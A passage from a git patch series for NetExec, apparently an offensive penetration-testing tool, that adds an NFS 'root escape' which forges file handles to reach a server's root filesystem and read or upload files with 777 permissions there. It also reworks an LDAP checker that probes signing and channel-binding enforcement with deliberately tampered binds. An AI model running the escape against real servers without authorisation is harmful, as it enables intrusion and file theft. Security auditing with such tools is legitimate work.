re.compile(r"ex_dir=b'([^']*)'") # Get share names - shares = list(reg.findall(output_export)) - - for share in shares: - mount_info = self.mount.mnt(share, self.auth) + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) mount_fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.try_root_escape(mount_fh) - if not root_fh: - self.mount.umnt(self.auth) - continue + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return - self.logger.success(f"Successful escape on share: {share}") - content = self.format_directory(self.nfs3.readdir(root_fh, auth=self.auth)) - for entry in content: - self.logger.highlight(f"{entry['name'].decode()}") - self.mount.umnt(self.auth) - break + # Update UID and GID for the share + self.update_auth(mount_fh) + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.ls.split("/"))): + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.ls!r}") + return + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + curr_fh = res["resok"]["object"]["data"] + + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + content = self.format_directory(dir_listing) + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + # If the requested path is a file, we filter out all other files + if is_file: + content = [x for x in content if x["name"].decode() == sub_path] + path = path.rsplit("/", 1)[0] # Remove the file from the path + self.print_directory(content, path) + + def print_directory(self, content, path): + """ + Highlight log the content of the directory provided by a READDIRPLUS call. + Expects an FORMATED output of self.format_directory. + """ + self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") + self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") + for item in content: + if item["name"] in [b".", b".."]: + continue + if not item["name_attributes"]["present"]: + uid = "-" + perms = "----" + file_size = "-" + else: + uid = item["name_attributes"]["attributes"]["uid"] + is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" + read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) + perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" + file_size = convert_size(item["name_attributes"]["attributes"]["size"]) + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") def format_directory(self, raw_directory): """Convert the chained directory entries to a list of the entries""" @@ -567,6 +640,13 @@ class nfs(connection): # Sort by name to be linux-like return sorted(items, key=lambda x: x["name"].decode()) + def update_auth(self, file_handle): + """Update the UID and GID for the file handle""" + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") + self.auth["uid"] = attrs["attributes"]["uid"] + self.auth["gid"] = attrs["attributes"]["gid"] + def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index bf55ed95..4c640f21 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -6,6 +6,7 @@ def proto_args(parser, parents): dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From 434b0f4b80e1263594bed4fd2f325cc6ba1e69e7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 13:15:09 -0500 Subject: [PATCH 64/78] Fix for items that are not resolved by the readdirplus call --- nxc/protocols/nfs.py | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 46e41018..d4da5ee3 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -558,7 +558,7 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Remove leading slashes + # Remove leading or trailing slashes self.args.ls = self.args.ls.lstrip("/").rstrip("/") # NORMAL LS CALL (without root escape) @@ -595,8 +595,22 @@ class nfs(connection): dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) content = self.format_directory(dir_listing) - path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + + # Sometimes the NFS Server does not return the attributes for the files + # However, they can still be looked up individually is missing + for item in content: + if not item["name_attributes"]["present"]: + try: + res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) + item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] + item["name_attributes"]["present"] = True + item["name_handle"]["handle"] = res["resok"]["object"] + item["name_handle"]["present"] = True + except Exception as e: + self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") + # If the requested path is a file, we filter out all other files + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" if is_file: content = [x for x in content if x["name"].decode() == sub_path] path = path.rsplit("/", 1)[0] # Remove the file from the path @@ -612,7 +626,7 @@ class nfs(connection): for item in content: if item["name"] in [b".", b".."]: continue - if not item["name_attributes"]["present"]: + if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: uid = "-" perms = "----" file_size = "-" From 67ce02eae78c8ccd0a95f1731e9b84cbe81e5480 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 13:17:11 -0500 Subject: [PATCH 65/78] Clean up and comments --- nxc/protocols/nfs.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d4da5ee3..b8dc4515 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -24,9 +24,6 @@ import math import os -from pprint import pprint - - class FileID: root = "root" ext = "ext/xfs" @@ -526,7 +523,14 @@ class nfs(connection): return root_handles def try_root_escape(self) -> bool: - """With an established connection look for a share that can be escaped to the root filesystem""" + """ + With an established connection look for a share that can be escaped to the root filesystem. + If successfull, self.escape_share and self.escape_fh will be populated. + + Returns + ------- + bool: True if root escape was successful + """ if not self.nfs3: raise Exception("NFS connection is not established") From df4e992c52b1fe84ae5f4d6814ea936547b7011b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 18:43:35 -0500 Subject: [PATCH 66/78] Add root_escape for --get-file and --put-file --- nxc/protocols/nfs.py | 90 +++++++++++++++++++++++---------- nxc/protocols/nfs/proto_args.py | 2 +- 2 files changed, 65 insertions(+), 27 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index b8dc4515..c17f0260 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -14,6 +14,7 @@ from pyNfsClient.const import ( ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, + MNT3ERR_ACCES, NFSSTAT3, NFS3ERR_NOENT, NF3REG, @@ -348,17 +349,35 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share - mnt_info = self.mount.mnt(remote_dir_path, self.auth) + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID for the file - attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Iterate over the path until we hit the file + curr_fh = mount_fh + for sub_path in remote_file_path.lstrip("/").split("/"): + # Update the UID for the next object and get the handle + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) - # Get the file handle and file size - dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) - file_handle = dir_data["resok"]["object"]["data"] + # Check for a bad path + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {remote_file_path!r}") + return + + curr_fh = res["resok"]["object"]["data"] + # If response is file then break + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + break # Handle files over the default chunk size of 1024 * 1024 offset = 0 @@ -367,7 +386,7 @@ class nfs(connection): # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: - file_data = self.nfs3.read(file_handle, offset, auth=self.auth) + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") @@ -395,18 +414,13 @@ class nfs(connection): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] - file_name = "" + remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return - # Do a bit of smart handling for the file paths - file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path - if not remote_file_path.endswith("/"): - remote_file_path += "/" - self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS @@ -414,22 +428,49 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share to create the file - mnt_info = self.mount.mnt(remote_file_path, self.auth) - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] + + # Iterate over the path + curr_fh = mount_fh + for sub_path in remote_dir_path.lstrip("/").split("/"): + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.display(f"Creating directory '/{sub_path}/'") + res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") + return + else: + curr_fh = res["resok"]["obj"]["handle"]["data"] + continue + + curr_fh = res["resok"]["object"]["data"] # Update the UID from the directory - attrs = self.nfs3.getattr(dir_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + self.update_auth(curr_fh) # Checking if file_name already exists on remote file path - lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}{file_name}") - res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth) + res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: @@ -441,9 +482,6 @@ class nfs(connection): if ans.lower() in ["y", "yes", ""]: self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] - else: - self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}") - return try: with open(local_file_path, "rb") as file: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 4c640f21..abdba2fd 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -4,9 +4,9 @@ def proto_args(parser, parents): nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") - dgroup.add_argument("--share", help="Specify a share, e.g. for --ls") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From 13a66535038cc26c12e6a836764469425acd8c93 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 18:45:36 -0500 Subject: [PATCH 67/78] Remove unused import --- nxc/protocols/nfs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index c17f0260..d8d9ea38 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -14,7 +14,6 @@ from pyNfsClient.const import ( ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, - MNT3ERR_ACCES, NFSSTAT3, NFS3ERR_NOENT, NF3REG, From 5f533f2c8ff8316e260779714d10417dac97eeab Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 10:07:30 -0500 Subject: [PATCH 68/78] More UID/GID updates and clean up --- nxc/protocols/nfs.py | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d8d9ea38..17327c62 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -378,6 +378,9 @@ class nfs(connection): if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: break + # Update the UID and GID for the file + self.update_auth(curr_fh) + # Handle files over the default chunk size of 1024 * 1024 offset = 0 eof = False @@ -459,7 +462,7 @@ class nfs(connection): curr_fh = res["resok"]["object"]["data"] - # Update the UID from the directory + # Update the UID and GID from the directory self.update_auth(curr_fh) # Checking if file_name already exists on remote file path @@ -474,6 +477,7 @@ class nfs(connection): raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] + self.update_auth(file_handle) self.logger.success(f"{file_name} successfully created") else: # Asking the user if they want to overwrite the file @@ -482,14 +486,21 @@ class nfs(connection): self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] + # Update the UID and GID for the file + self.update_auth(file_handle) + try: with open(local_file_path, "rb") as file: file_data = file.read().decode() # Write the data to the remote file self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") - self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) - self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}") + res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") + return + else: + self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777") except Exception as e: self.logger.fail(f"Could not write to {local_file_path}: {e}") @@ -549,13 +560,13 @@ class nfs(connection): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 return root_handles From 9e44b7f1ed652e63320c23ae593328dc878edd5b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 10:11:04 -0500 Subject: [PATCH 69/78] Better english --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 17327c62..caef674d 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -403,7 +403,7 @@ class nfs(connection): # Write the file data to the local file local_file.write(data) - self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}") + self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth) From 19ba129350268bcbbccf1fd073842be0d0495e1e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 17:19:23 -0500 Subject: [PATCH 70/78] Fix bug if upload target dir is root point --- nxc/protocols/nfs.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index caef674d..f166437b 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -445,7 +445,8 @@ class nfs(connection): # Iterate over the path curr_fh = mount_fh - for sub_path in remote_dir_path.lstrip("/").split("/"): + # If target dir is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))): self.update_auth(mount_fh) res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) From 4a696dff7e553edd9c19f7e697235f1a821e49cb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 17:20:05 -0500 Subject: [PATCH 71/78] Fix bug if file has other permissions than the directory. Also better error handling --- nxc/protocols/nfs.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index f166437b..48bf9f1c 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -495,7 +495,7 @@ class nfs(connection): file_data = file.read().decode() # Write the data to the remote file - self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") + self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}") res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) if res["status"] != 0: self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") @@ -646,7 +646,13 @@ class nfs(connection): break curr_fh = res["resok"]["object"]["data"] + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + if dir_listing["status"] != 0: + self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}") + return content = self.format_directory(dir_listing) # Sometimes the NFS Server does not return the attributes for the files @@ -677,8 +683,6 @@ class nfs(connection): self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") for item in content: - if item["name"] in [b".", b".."]: - continue if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: uid = "-" perms = "----" From a91761a755ea63ac5141eab201a3de361d50ee4e Mon Sep 17 00:00:00 2001 From: Fox Date: Thu, 6 Mar 2025 14:03:06 -0800 Subject: [PATCH 72/78] Improve reliability of ldap-checker module --- nxc/modules/ldap-checker.py | 342 ++++++++++++++++++++---------------- nxc/protocols/ldap.py | 2 +- 2 files changed, 193 insertions(+), 151 deletions(-) diff --git a/nxc/modules/ldap-checker.py b/nxc/modules/ldap-checker.py index 3a13f2cc..59e9550a 100644 --- a/nxc/modules/ldap-checker.py +++ b/nxc/modules/ldap-checker.py @@ -1,6 +1,8 @@ import socket import ssl import asyncio +import hashlib +import random from msldap.connection import MSLDAPClientConnection from msldap.commons.target import MSLDAPTarget @@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential from asyauth.common.credentials.kerberos import KerberosCredential from asysocks.unicomm.common.target import UniTarget, UniProto -import sys +import contextlib class NXCModule: """ - Checks whether LDAP signing and channelbinding are required. + Checks whether LDAP signing and LDAPS channel binding are required and/or enforced. - Module by LuemmelSec (@theluemmel), updated by @zblurx + Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0 Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan """ - name = "ldap-checker" - description = "Checks whether LDAP signing and binding are required and / or enforced" + description = "Checks whether LDAP signing and channel binding are required and / or enforced" supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True @@ -30,122 +31,149 @@ class NXCModule: def options(self, context, module_options): """No options available.""" - def on_login(self, context, connection): - # Conduct a bind to LDAPS and determine if channel - # binding is enforced based on the contents of potential - # errors returned. This can be determined unauthenticated, - # because the error indicating channel binding enforcement - # will be returned regardless of a successful LDAPS bind. - async def run_ldaps_noEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - - # Required step to try to bind without channel binding - ldapsClientConn.cb_data = None - - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - - valid, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True # channel binding IS enforced - elif "data 52e" in str(err): - return False # channel binding not enforced - elif err is None: - # LDAPS bind successful - # because channel binding is not enforced - return False - - # Conduct a bind to LDAPS with channel binding supported - # but intentionally miscalculated. In the case that and - # LDAPS bind has without channel binding supported has occurred, - # you can determine whether the policy is set to "never" or - # if it's set to "when supported" based on the potential - # error received from the bind attempt. - async def run_ldaps_withEPA(target, credential): - ldapsClientConn = MSLDAPClientConnection(target, credential) - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - sys.exit() - # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message - ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - _, err = await ldapsClientConn.bind() - if "data 80090346" in str(err): - return True - elif "data 52e" in str(err): - return False - elif err is not None: - context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err)) - elif err is None: - return False - - # Domain Controllers do not have a certificate setup for - # LDAPS on port 636 by default. If this has not been setup, - # the TLS handshake will hang and you will not be able to - # interact with LDAPS. The condition for the certificate - # existing as it should is either an error regarding - # the fact that the certificate is self-signed, or - # no error at all. Any other "successful" edge cases - # not yet accounted for. - def DoesLdapsCompleteHandshake(dcIp): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(5) - ssl_context = ssl.create_default_context() - ssl_context.check_hostname = False - ssl_sock = ssl_context.wrap_socket( - s, - do_handshake_on_connect=False, - suppress_ragged_eofs=False, - ) - try: - ssl_sock.connect((dcIp, 636)) - ssl_sock.do_handshake() - ssl_sock.close() - return True - except Exception as e: - if "CERTIFICATE_VERIFY_FAILED" in str(e): - ssl_sock.close() - return True - if "handshake operation timed out" in str(e): - ssl_sock.close() - return False - else: - context.log.fail("Unexpected error during LDAPS handshake: " + str(e)) - ssl_sock.close() - return False - - # Conduct and LDAP bind and determine if server signing - # requirements are enforced based on potential errors - # during the bind attempt. - async def run_ldap(target, credential): - try: - ldapsClientConn = MSLDAPClientConnection(target, credential) - ldapsClientConn._disable_signing = True - _, err = await ldapsClientConn.connect() - if err is not None: - context.log.fail(str(err)) - return None - - _, err = await ldapsClientConn.bind() - if err is not None: - errstr = str(err).lower() - if "stronger" in errstr: - return True - # because LDAP server signing requirements ARE enforced - else: - context.log.fail(str(err)) - else: - # LDAPS bind successful - return False - # because LDAP server signing requirements are not enforced - except Exception as e: - context.log.debug(str(e)) + # Conduct a bind to LDAPS and determine if channel + # binding is enforced based on the contents of potential + # errors returned. This can be determined unauthenticated, + # because the error indicating channel binding enforcement + # will be returned regardless of a successful LDAPS bind. + async def run_ldaps_noEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.debug(f"Error connecting to {connection.domain}: {err}") return None - - # Run trough all our code blocks to determine LDAP signing and channel binding settings. + client.cb_data = None + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True # -> channel binding IS enforced + elif err and "data 52e" in str(err): + return False # -> channel binding not enforced + elif err is None: + return False # LDAPS bind successful -> channel binding not enforced + else: + context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}") + return None + except Exception as e: + context.log.debug(f"Exception in run_ldaps_noEPA: {e}") + return None + finally: + with contextlib.suppress(Exception): + await client.disconnect() + + # Conduct a bind to LDAPS with channel binding supported + # but intentionally miscalculated. In the case that an + # LDAPS bind without channel binding supported has occurred, + # you can determine whether the policy is set to "never" or + # if it's set to "when supported" based on the potential + # error received from the bind attempt. + async def run_ldaps_withEPA(self, context, connection, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + _, err = await client.connect() + if err: + context.log.fail(f"Error connecting to {connection.domain}: {err}") + return None + + try: + context.log.debug("Retrieving TLS certificate hash...") + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_context.verify_mode = ssl.CERT_NONE + + with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock: + cert = ssl_sock.getpeercert(binary_form=True) + + if cert: + cert_hash = hashlib.sha256(cert).digest() + context.log.debug(f"Original certificate hash: {cert_hash.hex()}") + pos = random.randint(0, len(cert_hash) - 1) + tampered_bytes = bytearray(cert_hash) + tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256 + context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}") + context.log.debug(f"Modified byte at position {pos}") + client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes) + else: + client.cb_data = b"\x00" * 64 + except Exception as e: + context.log.debug(f"Failed to retrieve TLS certificate hash: {e}") + client.cb_data = b"\x00" * 64 + + _, err = await client.bind() + if err and "data 80090346" in str(err): + return True + elif (err and "data 52e" in str(err)) or err is None: + return False + else: + context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}") + return None + except Exception as e: + context.log.fail(f"Exception in run_ldaps_withEPA: {e}") + return None + + + # Domain Controllers do not have a certificate setup for + # LDAPS on port 636 by default. If this has not been setup, + # the TLS handshake will hang and you will not be able to + # interact with LDAPS. The condition for the certificate + # existing as it should is either an error regarding + # the fact that the certificate is self-signed, or + # no error at all. Any other "successful" edge cases + # not yet accounted for. + def does_ldaps_complete_handshake(self, context, dc_ip): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(5) + ssl_context = ssl.create_default_context() + ssl_context.check_hostname = False + ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False) + try: + ssl_sock.connect((dc_ip, 636)) + ssl_sock.do_handshake() + return True + except Exception as e: + if "CERTIFICATE_VERIFY_FAILED" in str(e): + return True + elif "handshake operation timed out" in str(e): + return False + else: + context.log.fail(f"Unexpected error during LDAPS handshake: {e}") + return False + finally: + ssl_sock.close() + + # Conduct an LDAP bind and determine if server signing + # requirements are enforced based on potential errors + # during the bind attempt. + async def run_ldap(self, context, target, credential): + try: + client = MSLDAPClientConnection(target, credential) + client._disable_signing = True # deliberately disable LDAP signing on client connection + _, err = await client.connect() + if err: + 